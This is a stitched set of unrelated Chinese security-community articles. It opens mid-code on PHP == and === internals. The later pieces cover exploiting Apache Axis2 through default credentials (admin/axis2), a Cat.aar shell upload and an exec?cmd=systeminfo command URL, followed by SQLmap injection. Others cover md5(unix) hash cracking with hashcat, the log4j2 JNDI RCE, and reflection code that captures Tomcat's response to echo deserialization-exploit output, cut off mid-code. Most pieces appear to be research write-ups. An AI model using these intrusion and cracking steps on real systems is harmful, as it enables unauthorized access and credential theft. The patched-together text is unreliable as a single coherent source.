ZVAL_LONG(result, zendi_smart_strcmp(Z_STR_P(op1), Z_STR_P(op2)));
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_STRING): // OP1是NULL，OP2是字符串
ZVAL_LONG(result, Z_STRLEN_P(op2) == 0 ? 0 : -1);
return SUCCESS;
case TYPE_PAIR(IS_STRING, IS_NULL): // OP1是字符串，OP2是NULL
ZVAL_LONG(result, Z_STRLEN_P(op1) == 0 ? 0 : 1);
return SUCCESS;
case TYPE_PAIR(IS_OBJECT, IS_NULL): // OP1是对象，OP2是NULL
ZVAL_LONG(result, 1);
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_OBJECT): // OP1是NULL，OP2是对象
ZVAL_LONG(result, -1);
return SUCCESS;
default:
......
在最后的`default`部分，我们会用到`PHP`对象存储的相关知识，先来看下了解下`PHP`中对象的存储结构。
路径：`Zend/zend_types.h:276`
struct _zend_object {
zend_refcounted_h gc; // GC头部
uint32_t handle; // 结构体在全局变量中的索引
zend_class_entry *ce; // 所属的类结构体指针
const zend_object_handlers *handlers; // 指向对对象进行操作的多个指针函数
HashTable *properties; // 存储对象的动态属性值
zval properties_table[1]; // 柔性数组，存储对象的普通属性值
};
以下是对对象进行操作的函数结构体定义，根据命名就能明白各个函数的功能是什么。
路径：`Zend/zend_object_handlers.h:124`
struct _zend_object_handlers {
/* offset of real object header (usually zero) */
int offset;
/* general object functions */
zend_object_free_obj_t free_obj;
zend_object_dtor_obj_t dtor_obj;
zend_object_clone_obj_t clone_obj;
/* individual object functions */
zend_object_read_property_t read_property;
zend_object_write_property_t write_property;
zend_object_read_dimension_t read_dimension;
zend_object_write_dimension_t write_dimension;
zend_object_get_property_ptr_ptr_t get_property_ptr_ptr;
zend_object_get_t get;
zend_object_set_t set;
zend_object_has_property_t has_property;
zend_object_unset_property_t unset_property;
zend_object_has_dimension_t has_dimension;
zend_object_unset_dimension_t unset_dimension;
zend_object_get_properties_t get_properties;
zend_object_get_method_t get_method;
zend_object_call_method_t call_method;
zend_object_get_constructor_t get_constructor;
zend_object_get_class_name_t get_class_name;
zend_object_compare_t compare_objects;
zend_object_cast_t cast_object;
zend_object_count_elements_t count_elements;
zend_object_get_debug_info_t get_debug_info;
zend_object_get_closure_t get_closure;
zend_object_get_gc_t get_gc;
zend_object_do_operation_t do_operation;
zend_object_compare_zvals_t compare;
};
大致了解了下对象的存储结构，我们接着往下看。
default:
if (Z_ISREF_P(op1)) { // 如果OP1是引用类型
op1 = Z_REFVAL_P(op1); // 获取OP1真正指向的zval
continue;
} else if (Z_ISREF_P(op2)) { // 如果OP1是引用类型
op2 = Z_REFVAL_P(op2); // 获取OP1真正指向的zval
continue;
}
if (Z_TYPE_P(op1) == IS_OBJECT && Z_OBJ_HANDLER_P(op1, compare)) { // 如果OP1是对象，并且OP1的handlers.compare函数存在
ret = Z_OBJ_HANDLER_P(op1, compare)(result, op1, op2); // 使用OP1的handlers.compare函数进行对比操作
if (UNEXPECTED(Z_TYPE_P(result) != IS_LONG)) {
convert_compare_result_to_long(result);
}
return ret;
} else if (Z_TYPE_P(op2) == IS_OBJECT && Z_OBJ_HANDLER_P(op2, compare)) { // 如果OP2是对象，并且OP2的handlers.compare函数存在
ret = Z_OBJ_HANDLER_P(op2, compare)(result, op1, op2); // 使用OP2的handlers.compare函数进行对比操作
if (UNEXPECTED(Z_TYPE_P(result) != IS_LONG)) {
convert_compare_result_to_long(result);
}
return ret;
}
if (Z_TYPE_P(op1) == IS_OBJECT && Z_TYPE_P(op2) == IS_OBJECT) { // 如果OP1和OP2都是对象
if (Z_OBJ_P(op1) == Z_OBJ_P(op2)) {
// 如果对象的handle相同，表示OP1和OP2是同一个对象
ZVAL_LONG(result, 0);
return SUCCESS;
}
if (Z_OBJ_HANDLER_P(op1, compare_objects) == Z_OBJ_HANDLER_P(op2, compare_objects)) { // 如果OP1.handlers.compare_objects函数与OP2的相同，则调用该函数进行对比
ZVAL_LONG(result, Z_OBJ_HANDLER_P(op1, compare_objects)(op1, op2));
return SUCCESS;
}
}
if (Z_TYPE_P(op1) == IS_OBJECT) { // 如果OP1是个对象
if (Z_OBJ_HT_P(op1)->get) { // OP1.handlers.get函数存在
zval rv;
op_free = Z_OBJ_HT_P(op1)->get(op1, &rv); // 获取OP1的值
ret = compare_function(result, op_free, op2); // 递归调用compare_function
zend_free_obj_get_result(op_free);
return ret;
} else if (Z_TYPE_P(op2) != IS_OBJECT && Z_OBJ_HT_P(op1)->cast_object) { // 如果OP2不是对象，并且OP1.handlers.cast_object函数(用来将对象转换为其他类型)存在
ZVAL_UNDEF(&tmp_free);
if (Z_OBJ_HT_P(op1)->cast_object(op1, &tmp_free, ((Z_TYPE_P(op2) == IS_FALSE || Z_TYPE_P(op2) == IS_TRUE) ? _IS_BOOL : Z_TYPE_P(op2))) == FAILURE) { // 如果OP2是布尔型，则将OP1转换为布尔型，否则转换失败
ZVAL_LONG(result, 1); // OP1 > OP2
zend_free_obj_get_result(&tmp_free);
return SUCCESS;
}
ret = compare_function(result, &tmp_free, op2);
zend_free_obj_get_result(&tmp_free);
return ret;
}
}
if (Z_TYPE_P(op2) == IS_OBJECT) { // 如果OP2是个对象
if (Z_OBJ_HT_P(op2)->get) { // OP2.handlers.get函数存在
zval rv;
op_free = Z_OBJ_HT_P(op2)->get(op2, &rv); // 获取OP2的值
ret = compare_function(result, op1, op_free); // 递归调用compare_function
zend_free_obj_get_result(op_free);
return ret;
} else if (Z_TYPE_P(op1) != IS_OBJECT && Z_OBJ_HT_P(op2)->cast_object) { // 如果OP1不是对象，并且OP2.handlers.cast_object函数(用来将对象转换为其他类型)存在
ZVAL_UNDEF(&tmp_free);
if (Z_OBJ_HT_P(op2)->cast_object(op2, &tmp_free, ((Z_TYPE_P(op1) == IS_FALSE || Z_TYPE_P(op1) == IS_TRUE) ? _IS_BOOL : Z_TYPE_P(op1))) == FAILURE) { // 如果OP1是布尔型，则将OP2转换为布尔型，否则转换失败
ZVAL_LONG(result, -1); // OP1 < OP2
zend_free_obj_get_result(&tmp_free);
return SUCCESS;
}
ret = compare_function(result, op1, &tmp_free);
zend_free_obj_get_result(&tmp_free);
return ret;
} else if (Z_TYPE_P(op1) == IS_OBJECT) {
ZVAL_LONG(result, 1);
return SUCCESS;
}
}
if (!converted) { // converted为0
if (Z_TYPE_P(op1) == IS_NULL || Z_TYPE_P(op1) == IS_FALSE) { // 如果OP1是NULL或者布尔型false
ZVAL_LONG(result, zval_is_true(op2) ? -1 : 0); // 如果OP2转换为布尔型是ture，则OP1 < OP2，否则，OP1 == OP2
return SUCCESS;
} else if (Z_TYPE_P(op2) == IS_NULL || Z_TYPE_P(op2) == IS_FALSE) { // 如果OP2是NULL或者布尔型false
ZVAL_LONG(result, zval_is_true(op1) ? 1 : 0); // 如果OP1转换为布尔型是ture，则OP1 > OP2，否则，OP1 == OP2
return SUCCESS;
} else if (Z_TYPE_P(op1) == IS_TRUE) { // 如果OP1是布尔型true
ZVAL_LONG(result, zval_is_true(op2) ? 0 : 1); // 如果OP2转换为布尔型是true，则OP1 == OP2，否则 OP1 > OP2
return SUCCESS;
} else if (Z_TYPE_P(op2) == IS_TRUE) { // 如果OP2是布尔型true
ZVAL_LONG(result, zval_is_true(op1) ? 0 : -1); // 如果OP1转换为布尔型是true，则OP1 == OP2，否则 OP1 < OP2
return SUCCESS;
} else {
zendi_convert_scalar_to_number(op1, op1_copy, result, 1); // 根据OP1的类型，转换为数字
zendi_convert_scalar_to_number(op2, op2_copy, result, 1); // 根据OP2的类型，转换为数字
converted = 1; // 标识已经经过了转换
}
} else if (Z_TYPE_P(op1)==IS_ARRAY) { // 如果OP1的类型是数组
ZVAL_LONG(result, 1); // OP1 > OP2
return SUCCESS;
} else if (Z_TYPE_P(op2)==IS_ARRAY) { // 如果OP2的类型是数组
ZVAL_LONG(result, -1); // OP1 < OP2
return SUCCESS;
} else if (Z_TYPE_P(op1)==IS_OBJECT) { // 如果OP1的类型是对象
ZVAL_LONG(result, 1); // OP1 > OP2
return SUCCESS;
} else if (Z_TYPE_P(op2)==IS_OBJECT) { // 如果OP2的类型是对象
ZVAL_LONG(result, -1); // OP1 < OP2
return SUCCESS;
} else {
ZVAL_LONG(result, 0); // OP1 == OP2
return FAILURE;
}
}
}
}
总体来看，在进行`==`运算的时候，虽然我们在写的时候只有短短的一句话，但是在`PHP`内核实现的时候，却是考虑到了各种可能的情况，还进行了类型转换，从而实现了一个松散的判断相等的运算符。
对于类型转换，重点就是宏`zendi_convert_scalar_to_number`，跟下去意义不是很大，有需要的可以查询[官方手册](https://www.php.net/manual/zh/language.types.type-juggling.php)
整个`==`运算符的功能实现大概就这么多，接下来我们来看一下`===`运算符的实现。
#### 2.2.2 '===' 源码实现分析
根据我们前面的分析，寻找`ZEND_IS_IDENTICAL_SPEC_CV_CONST_HANDLER`函数。
路径：`Zend/zend_vm_execute.h:36494`
static ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_IS_IDENTICAL_SPEC_CV_CONST_HANDLER(ZEND_OPCODE_HANDLER_ARGS)
{
USE_OPLINE
zval *op1, *op2;
int result;
SAVE_OPLINE();
op1 = _get_zval_ptr_cv_deref_BP_VAR_R(execute_data, opline->op1.var); // 获取OP1
op2 = EX_CONSTANT(opline->op2); // 获取OP2
result = fast_is_identical_function(op1, op2);
ZEND_VM_SMART_BRANCH(result, 1);
ZVAL_BOOL(EX_VAR(opline->result.var), result);
ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION();
}
很明显，函数在获取`OP1`和`OP2`之后，进入了`fast_is_identical_function`函数，跟进一下。
路径：`Zend/zend_operators.h:748`
static zend_always_inline int fast_is_identical_function(zval *op1, zval *op2)
{
if (Z_TYPE_P(op1) != Z_TYPE_P(op2)) { // 如果OP1和OP2的类型不相同，返回0
return 0;
} else if (Z_TYPE_P(op1) <= IS_TRUE) { // 可以看前面定义的宏来判断，如果OP1的类型是IS_UNDEF、IS_NULL、IS_FALSE、IS_TRUE，则返回1
return 1;
}
return zend_is_identical(op1, op2);
}
如果以上两个条件都不成立，进入`zend_is_identical`函数并返回它的返回值，继续跟进。
路径：`Zend/zend_operators.c:2004`
ZEND_API int ZEND_FASTCALL zend_is_identical(zval *op1, zval *op2) /* {{{ */
{
if (Z_TYPE_P(op1) != Z_TYPE_P(op2)) { // 如果OP1和OP2的类型不相同，返回0
return 0;
}
switch (Z_TYPE_P(op1)) { // 获取OP1的类型
case IS_NULL:
case IS_FALSE:
case IS_TRUE: // 如果是NULL和布尔型，则返回1
return 1;
case IS_LONG: // 如果是长整型，直接获取值判断是否相等，并返回
return (Z_LVAL_P(op1) == Z_LVAL_P(op2));
case IS_RESOURCE: // 如果是资源类型，直接获取值判断是否相等，并返回
return (Z_RES_P(op1) == Z_RES_P(op2));
case IS_DOUBLE: // 如果是浮点型，直接获取值判断是否相等，并返回
return (Z_DVAL_P(op1) == Z_DVAL_P(op2));
case IS_STRING: // 如果是字符串，判断是否是同一个字符串，或者字符串值得长度相同，每一个字节都相同
return (Z_STR_P(op1) == Z_STR_P(op2) ||
(Z_STRLEN_P(op1) == Z_STRLEN_P(op2) &&
memcmp(Z_STRVAL_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op1)) == 0));
case IS_ARRAY: // 如果是数组，判断是否为同一个数组，或者调用zend_hash_compare进行判断
return (Z_ARRVAL_P(op1) == Z_ARRVAL_P(op2) ||
zend_hash_compare(Z_ARRVAL_P(op1), Z_ARRVAL_P(op2), (compare_func_t) hash_zval_identical_function, 1) == 0);
case IS_OBJECT: // 如果是对象，判断对象的值和对象指向的handler是否相同
return (Z_OBJ_P(op1) == Z_OBJ_P(op2) && Z_OBJ_HT_P(op1) == Z_OBJ_HT_P(op2));
default:
return 0; // 不是上述已知类型，则返回0
}
}
经过以上分析我们可以知道，`result`为`1`时，返回`true`，`result`为`0`时，返回`false`。
`===`运算符在内部实现上要比`==`要简单的多，只有满足类型相同，对应的值也相同的变量才能满足条件，而且不会进行类型转换。
当然，在对变量值进行比较的过程中，不同的变量也会有不同的规则，比如数组。
在手册中，我们知道
> 具有较少成员的数组较小，如果运算数 1 中的键不存在于运算数 2 中则数组无法比较，否则挨个值比较
在`zend_is_identical`中我们跟进`zend_hash_compare`，可以找到`zend_hash_compare_impl`。
路径：`Zend/zend_hash.c:2313`
static zend_always_inline int zend_hash_compare_impl(HashTable *ht1, HashTable *ht2, compare_func_t compar, zend_bool ordered) {
uint32_t idx1, idx2;
if (ht1->nNumOfElements != ht2->nNumOfElements) { // 当长度不相同时，较长的数组大于较短的数组
return ht1->nNumOfElements > ht2->nNumOfElements ? 1 : -1;
}
for (idx1 = 0, idx2 = 0; idx1 < ht1->nNumUsed; idx1++) { // 长度相同，遍历数组，挨个值进行比较。
Bucket *p1 = ht1->arData + idx1, *p2;
zval *pData1, *pData2;
int result;
if (Z_TYPE(p1->val) == IS_UNDEF) continue; // 如果类型未定义，直接继续
if (ordered) {
while (1) {
ZEND_ASSERT(idx2 != ht2->nNumUsed);
p2 = ht2->arData + idx2;
if (Z_TYPE(p2->val) != IS_UNDEF) break;
idx2++;
}
if (p1->key == NULL && p2->key == NULL) { /* 数字索引 */
if (p1->h != p2->h) {
return p1->h > p2->h ? 1 : -1;
}
} else if (p1->key != NULL && p2->key != NULL) { /* 字符串索引 */
if (ZSTR_LEN(p1->key) != ZSTR_LEN(p2->key)) {
return ZSTR_LEN(p1->key) > ZSTR_LEN(p2->key) ? 1 : -1;
}
result = memcmp(ZSTR_VAL(p1->key), ZSTR_VAL(p2->key), ZSTR_LEN(p1->key));// 获取两个key对应的值来进行对比
if (result != 0) { // 当存在不相等的成员时，返回结果。
return result;
}
} else {
/* Mixed key types: A string key is considered as larger */
return p1->key != NULL ? 1 : -1;
}
pData2 = &p2->val;
idx2++;
} else {
if (p1->key == NULL) { /* 数字索引 */
pData2 = zend_hash_index_find(ht2, p1->h);
if (pData2 == NULL) {
return 1;
}
} else { /* 字符串索引 */
pData2 = zend_hash_find(ht2, p1->key);
if (pData2 == NULL) {
return 1;
}
}
}
pData1 = &p1->val;
if (Z_TYPE_P(pData1) == IS_INDIRECT) { // 如果变量是间接zval
pData1 = Z_INDIRECT_P(pData1); // pData1获取它所指向的zval
}
if (Z_TYPE_P(pData2) == IS_INDIRECT) { // 如果变量是间接zval
pData2 = Z_INDIRECT_P(pData2); // pData2获取它所指向的zval
}
if (Z_TYPE_P(pData1) == IS_UNDEF) {
if (Z_TYPE_P(pData2) != IS_UNDEF) { // 如果pData1是未定义的变量，而pData2不是未定义的变量，则pData1所在的数组 < pData2所在的数组
return -1;
}
} else if (Z_TYPE_P(pData2) == IS_UNDEF) { // 如果pData1不是未定义的变量，而pData2是未定义的变量，则pData1所在的数组 > pData2所在的数组
return 1;
} else {
result = compar(pData1, pData2); // 如果两者都是不是未定义的变量，则进入compar进行比较
if (result != 0) {
return result;
}
}
}
return 0;
}
以下是手册中，`===`在面对不同变量的时候运算结果表。
## 参考
* <https://secure.php.net/manual/zh/>
* <http://www.php-internals.com/book/?p=C-php-vld>
* 书籍：《PHP 7底层设计与源码实现》 | 社区文章 |
## Apache Axis2的两个利用方式
在渗透测试中，对C段进行扫描，经常会遇见一些Tomcat的后台页面，在一次偶然的机会下，第一次遇见了安装有Apache Axis2服务的tomcat。
#### 确定目标是否存在axis2
直接在URL后面添加/axis2即可。
出现上图即可证明此tomcat安装了axis2服务。
### 方式1 文件上传漏洞
访问axis2的管理员界面
利用默认密码登录（此为前提条件 admin/axis2）
通过上传点，上传Cat.aar，下载见参考文章处
上传成功后便可利用Cat工具进行进一步利用,可获取shell
查看systeminfo
`http://10.10.10.137:8080/axis2/services/Cat/exec?cmd=systeminfo`
参考文章
* [如何利用Axis2默认口令安全漏洞***WebService网站](https://blog.51cto.com/nekesec/1746874)
* [axis2 利用小工具cat.aar](http://javaweb.org/?p=1548)
### 方式2 SQL注入
在axis2主页点击Service
点击MyService
可以看见此页面(利用前提)
使用AVWVS对该页面进行扫描（或者使用burp抓包）
复制POST的数据，保存为test.txt
对如图所示的地方进行修改
放入SQLmap(按回车即可)
### 本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担 | 社区文章 |
# md5(unix)原理分析
|
##### 译文声明
本文是翻译文章，文章来源：phithon
原文地址：<https://www.leavesongs.com/PENETRATION/about-hash-password.html>
译文仅供参考，具体内容表达以及含义原文为准。
看到t00ls上有同学在问这个问题:
[https://www.t00ls.net/thread-31914-1-1.html](https://www.t00ls.net/thread-31914-1-1.html)
里面有说到通过注入拿到网站的密码,加密方式是md5(unix),破解不了于是很尴尬。我们通过他文中给出的hash入手,来分析一下unix(md5)的原理与破解方法。
目标hash:
$1$Dx1bONFt$Hsrx102ek28d03B5dqgAv/
实际上,我们要先明白一点。无论是何种哈希,说到底是摘要算法,是将任意长度的任意字节对应成固定长度的一段字节。
这段摘要字节因为包含很多不易显示的字符,所以人们通常使用hex或者base64等类似方法将它转换成可见字符显示出来。
所以这个hash也一样,我们用$将hash切割成三部分:”1“、”Dx1bONFt“、”Hsrx102ek28d03B5dqgAv/“
,给这三部分分别起个名字:magic、salt、password。
其中password实际上就是哈希完成后的字符串,再通过类似base64的算法转换成了可见字符串。
**Magic**
magic是表明这一段哈希是通过什么算法得到的,对应关系如下:
$0 = DES
$1 = MD5
$2a(2y) = Blowfish
$5 = SHA-256
$6 = SHA-512
目标hash的magic==1,说明是md5加密。
当然内部实现不会是单纯单次md5,但总体来说是以MD5为hash函数,通过多次计算得到的最终值。
类似,这个是sha-256的哈希(明文 admin):
$5$DnnkiE71Scb5$lHT.SBfgQKoiTi8cF.cbuxlZ9ZBVFG8CGDxh8CpgPe8
这个是sha-512的哈希(明文 admin):
$6$I7iRFjXdW9rZA2$/4WJ35KCqtrfc3BFmoargIm8WiKhY5cSBuJIb7ItjO0I7Dj99ZVIPZ3fgKvxaDgZqrWNWwL5aSVwQUkd8D7LT0
对比发现,magic值确实不同。除了通过magic来判断密文的加密方式以外,通过哈希的长度也可以判断。比如原哈希Hsrx102ek28d03B5dqgAv/,我们可以用以下代码来看看其长度:
php -r "echo strlen(base64_decode('Hsrx102ek28d03B5dqgAv/'));"
[](https://dn-leavesongs.qbox.me/content/uploadfile/201511/20491446888251.jpg)
可见结果为16,正是md5的摘要的长度(hex后长度为32),这样也能佐证这个哈希的加密方式为md5。
**Salt**
salt是此次哈希的盐值,长度是8位,超过8的后面的位数将不影响哈希的结果。
在正常情况下,进行加密的时候,这个盐值是随机字符串,所以说其实这个哈希:
$1$Dx1bONFt$Hsrx102ek28d03B5dqgAv/
我们可以类比为
1ecaf1d74d9e936f1dd3707976a800bf:Dx1bONFt
这个值1ecaf1d74d9e936f1dd3707976a800bf也不是我胡编的,是将原hash用base64解码后再转换为hex得到的。
而实际上原hash并不是base64编码,只是用类似base64编码的一种算法。这里用base64举例,具体算法后面会讲到
所以很多同学一看到$1$xxx$abcdef这样的密码就懵逼了,其实完全不必,你可就把他理解为abcdef:xxx。
**Password**
password就是加密完成后得到的hash。
我这里给出其php实现的具体算法:
namespace Md5Crypt;
class Md5Crypt
{
static public $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
// [a-zA-Z0-9./]
static protected function to64($v, $n)
{
$itoa64 = self::$itoa64;
$ret = '';
while(--$n >= 0) {
$ret .= $itoa64{$v & 0x3f};
$v = $v >> 6;
}
return $ret;
}
static public function apache($pw, $salt = NULL)
{
$Magic = '$apr1$';
return self::unix($pw, $salt, $Magic);
}
static public function unix($pw, $salt = NULL, $Magic = '$1$')
{
$itoa64 = self::$itoa64;
if($salt !== NULL) {
// Take care of the magic string if present
if(substr($salt, 0, strlen($Magic)) == $Magic) {
$salt = substr($salt, strlen($Magic), strlen($salt));
}
// Salt can have up to 8 characters
$parts = explode('$', $salt, 1);
$salt = substr($parts[0], 0, 8);
} else {
$salt = '';
mt_srand((double)(microtime() * 10000000));
while(strlen($salt) < 8) {
$salt .= $itoa64{mt_rand(0, strlen($itoa64)-1)};
}
}
$ctx = $pw . $Magic . $salt;
$final = pack('H*', md5($pw . $salt . $pw));
for ($pl = strlen($pw); $pl > 0; $pl -= 16) {
$ctx .= substr($final, 0, ($pl > 16) ? 16 : $pl);
}
// Now the 'weird' xform
for($i = strlen($pw); $i; $i >>= 1) {
if($i & 1) { // This comes from the original version,
$ctx .= pack("C", 0); // where a memset() is done to $final
} else { // before this loop
$ctx .= $pw{0};
}
}
$final = pack('H*', md5($ctx)); // The following is supposed to make
// things run slower
for($i = 0; $i < 1000; $i++) {
$ctx1 = '';
if($i & 1) {
$ctx1 .= $pw;
} else {
$ctx1 .= substr($final, 0, 16);
}
if($i % 3) {
$ctx1 .= $salt;
}
if($i % 7) {
$ctx1 .= $pw;
}
if($i & 1) {
$ctx1 .= substr($final, 0, 16);
} else {
$ctx1 .= $pw;
}
$final = pack('H*', md5($ctx1));
}
// Final xform
$passwd = '';
$passwd .= self::to64((intval(ord($final{0})) << 16)
|(intval(ord($final{6})) << 8)
|(intval(ord($final{12}))),4);
$passwd .= self::to64((intval(ord($final{1})) << 16)
|(intval(ord($final{7})) << 8)
|(intval(ord($final{13}))), 4);
$passwd .= self::to64((intval(ord($final{2})) << 16)
|(intval(ord($final{8})) << 8)
|(intval(ord($final{14}))), 4);
$passwd .= self::to64((intval(ord($final{3})) << 16)
|(intval(ord($final{9})) << 8)
|(intval(ord($final{15}))), 4);
$passwd .= self::to64((intval(ord($final{4}) << 16)
|(intval(ord($final{10})) << 8)
|(intval(ord($final{5})))), 4);
$passwd .= self::to64((intval(ord($final{11}))), 2);
// Return the final string
return $Magic . $salt . '$' . $passwd;
}
}
我们可以如下调用这个类,获得elon11:Dx1bONFt的哈希:
include_once("php-crypt-md5/library/Md5Crypt/Md5Crypt.php");
$password = "elon11";
$salt = "Dx1bONFt";
echo Md5CryptMd5Crypt::unix($password, $salt);
得到的结果其实就是最开始给出的目标哈希 $1$Dx1bONFt$Hsrx102ek28d03B5dqgAv/:
[](https://dn-leavesongs.qbox.me/content/uploadfile/201511/21851446888254.jpg)
分析一下这个类,你会发现实际上它的核心算法是1002次循环md5,中间再进行一些截断、移位等过程。
在密码学中,对于防范哈希暴力破解的一种方式就是“密钥延伸”,简单来说就是利用多次hash计算,来延长暴力破解hash的时间,比如这里的1002次md5,就等于将单次md5破解时间延长了1002倍。
然而,在当今的计算机速度下,1002次md5,其实速度也是秒速。我用hashcat尝试破解上述hash,
[](https://dn-leavesongs.qbox.me/content/uploadfile/201511/48191446888287.jpg)
7510个字典,仅用1秒不到跑完,速度为18.28k/s。
相对的,现代linux系统使用的hash方法为SHA-512(Unix),算法核心为sha512,我们可以通过cat
/etc/shadow来获得之,通过hashcat来跑:
[](https://dn-leavesongs.qbox.me/content/uploadfile/201511/4bee1446888292.jpg)
速度明显降下来了,只有656 words/s
前两天爆出的Joomla注入,获取到的hash值使用的加密方法是Bcrypt + Blowfish 。我们可以利用如下命令来跑这个密码:
hashcat --hash-type=3200 --attack-mode=0 joomla.txt less.dict
[](https://dn-leavesongs.qbox.me/content/uploadfile/201511/1d621446888295.jpg)
可见,速度已经降到45 words/s了,7510个密码的字典需要跑2分半才能全部跑完。足以见得joomla密码的安全性。
不过,这却不是最慢的,Minos([https://github.com/phith0n/Minos](https://github.com/phith0n/Minos))
使用的也是Bcrypt + Blowfish,但我将其cost设置为12。
cost在Blowfish算法中就是延缓其速度,增加破解难度的选项,如果将cost设置为12,生成的hash,破解起来速度可以降到10 words/s:
[](https://dn-leavesongs.qbox.me/content/uploadfile/201511/e8951446888297.jpg)
基本达到这样的速度,就可以满足安全需求了。这样的话,即使黑客拿到密码的hash,跑一万个密码的字典需要用16分钟,极大地增加了密码碰撞的难度。
**开发与渗透中如何生成hash**
那么,这些hash是怎么生成的呢?
我用php举例说明。
生成一个普通的unix(md5),直接用上面给出的源码即可。当然php也有自带的方法可以办到:
生成一个sha512(unix)
echo crypt("admin", '$6$12345678');
生成一个bcrypt+blowfish(cost=10默认)(joomla的加密方式)
echo password_hash("123123", CRYPT_BLOWFISH);
生成一个bcrypt+blowfish(cost=12)(minos的加密方式)
echo password_hash("123123", CRYPT_BLOWFISH, ["cost" => 12]);
在渗透过程中,我们也可以直接用工具生成这类密码。比如htpasswd工具,以下是生成密码的一些方法:
[
](https://dn-leavesongs.qbox.me/content/uploadfile/201511/bfd11446888299.jpg) | 社区文章 |
**作者：R17a
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
近期最火的漏洞莫过于log4j2 RCE漏洞，都说是史诗级的漏洞，那必然要分析下。
## 0x01 定位漏洞
既然是利用了jndi，那么断点就打在`javax.naming.InitialContext`构造方法肯定是没错的。
通过回溯，最初调用lookup相关的地方在`org.apache.logging.log4j.core.lookup.StrSubstitutor.replace()`
进一步回溯分析调用lookup的原因，在`MessagePatternConverter.format()`中，遍历每个字符，当匹配到`${`就调用`StrSubstitutor.replace()`处理jndi相关信息。
## 0x02 log4j日志记录及漏洞分析
在详细分析前先简单了解下log4j三大组件：
1. Logger：日志记录器，负责收集处理日志记录
2. Appender：日志存放的地方，负责日志的输出
3. Layout：日志格式化，负责日志输出的形式
1、在log4j2中通过`LoggerConfig.processLogEvent()`处理日志事件，主要部分在调用`callAppenders()`即调用Appender：
2、Appender功能主要是负责将日志事件传递到其目标，常用的Appender有ConsoleAppender（输出到控制台）、FileAppender（输出到本地文件）等，通过AppenderControl获取具体的Appender，本次调试的是ConsoleAppender。
调用`ConsoleAppender.tryAppend()`尝试输出日志
3、首先获取Layout日志格式，通过`Layout.encode()`进行日志的格式化
Layout会获取formatters来完成具体的格式化的事情
4、处理传入的message通过`MessagePatternConverter.format()`，也是本次漏洞的关键之处，我们具体来看下。首先创建一个workingBuilder，当config存在并且noLookups为false，匹配到`${'`则调用`workingBuilder.append()`获取StrSubstitutor内容来替换原来的信息（这里说明下，jndi执行命令后如果返回了结果就会将其append输出）
noLookups来自设置来自配置文件，默认值为`false`，相当于默认支持jndi。
5、`StrSubstitutor.resolveVariable()`解析变量，调用`Interpolator.lookup()`，Interpolator有date、
java、marker、ctx、jndi,、main、jvmrunargs、 sys、 env、 log4j共10种
根据前缀获取lookup为JndiLookup，后续就是jndi处理，这里不再继续。
## 0x03 漏洞思考
那么究竟为什么要给log4j2开发jndi功能，特地去[官网](https://logging.apache.org/log4j/log4j-2.3/manual/configuration.html#PropertySubstitution)看了下，开发者最初考虑到使用log4j通过本地文件加载属性可能不够用，某些场景需要从更多的地方加载属性，因此设计了`Property
Substitution`.
jndi是，添加jndi服务主要是为了日志功能更加丰富，但是开发者没有考虑到jndi可能带来的危害。我想如果开发者在设计之初就考虑到了潜在的危害，考虑用白名单校验jndi的地址，便能够有效避免今天的局面。
<https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html#ContextMapLookup>
## 0x04 参考链接
<https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html#ContextMapLookup>
<https://www.cnblogs.com/z-x-p/p/11534662.html>
<https://blog.csdn.net/henry115/article/details/78483457>
<https://blog.csdn.net/fygkchina/article/details/107183281>
* * * | 社区文章 |
# 前言
前段时间和@lufei 大哥学习了一波Linux下基于文件描述符的反序列化回显方式的思路。
在自己实现的过程中发现，是通过IP和端口号的筛选，从而过滤出当前线程（也可以说是请求）的文件描述符，进而加入回显的内容。
但是同时也有一个疑问，我们使用回显的目前主要是因为一些端口的过滤，一些内外网的隔离。从而将一些无法从别的途径传输的执行结果，通过http请求的方式，附加在原本的response中，从而绕过一些防护和限制。
以个人的理解，在这种情况下，大概率会有一些负载均衡在真正的服务器前面，这样服务器中显示的ip和端口都会是LB的信息，这种筛选的方式也就失效了。
当时的想法也是如果能直接获取到当前请求的response变量，直接write就可以了。但是对tomcat不是很熟悉，弄了个简易版适配Spring的就没后文了。
最近又在社区中看到一个师傅发了这个Linux文件描述符的回显方式，评论处也提出了如果能直接获取response的效果会更好，于是就开始试着找了下如何获取tomcat的response变量。
<https://xz.aliyun.com/t/7307>
# 寻找过程
这里起的是一个spring boot，先试着往Controller里面注入一个response
为了确保我们获取到的response对象确实是tomcat的response，我们顺着堆栈一直往下。
可以发现request和response几乎就是一路传递的，并且在内存中都是同一个变量（变量toString最后的数字就是当前变量的部分哈希）
这样，就没有问题，只要我们能获取到这些堆栈中，任何一个类的response实例即可。
接下来就是找哪里的response变量可以被我们获取，比较蛋疼的是，每个函数都是通过传参的方式传递的response和request。
那这样的话，在这过程中request和response有没有在哪里被记录过，而且为了通用性，我们只应该寻找tomcat部分的代码，和spring相关的就可以不用看了。
而且记录的变量不应该是一个全局变量，而应该是一个ThreadLocal，这样才能获取到当前线程的请求信息。而且最好是一个static静态变量，否则我们还需要去获取那个变量所在的实例。
顺着这个思路，刚好在`org.apache.catalina.core.ApplicationFilterChain`这个类中，找到了一个符合要求的变量。
而且很巧的是，刚好在处理我们Controller逻辑之前，有记录request和response的动作。
虽然if条件是false，但是不要紧，我们有反射。
这样，整体的思路大概就是
1、反射修改`ApplicationDispatcher.WRAP_SAME_OBJECT`，让代码逻辑走到if条件里面
2、初始化`lastServicedRequest`和`lastServicedResponse`两个变量，默认为null
3、从`lastServicedResponse`中获取当前请求response，并且回显内容。
写的过程中也学习了一下怎么通过反射修改一个private final的变量，还踩了一些坑，总之直接放上最后的代码
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
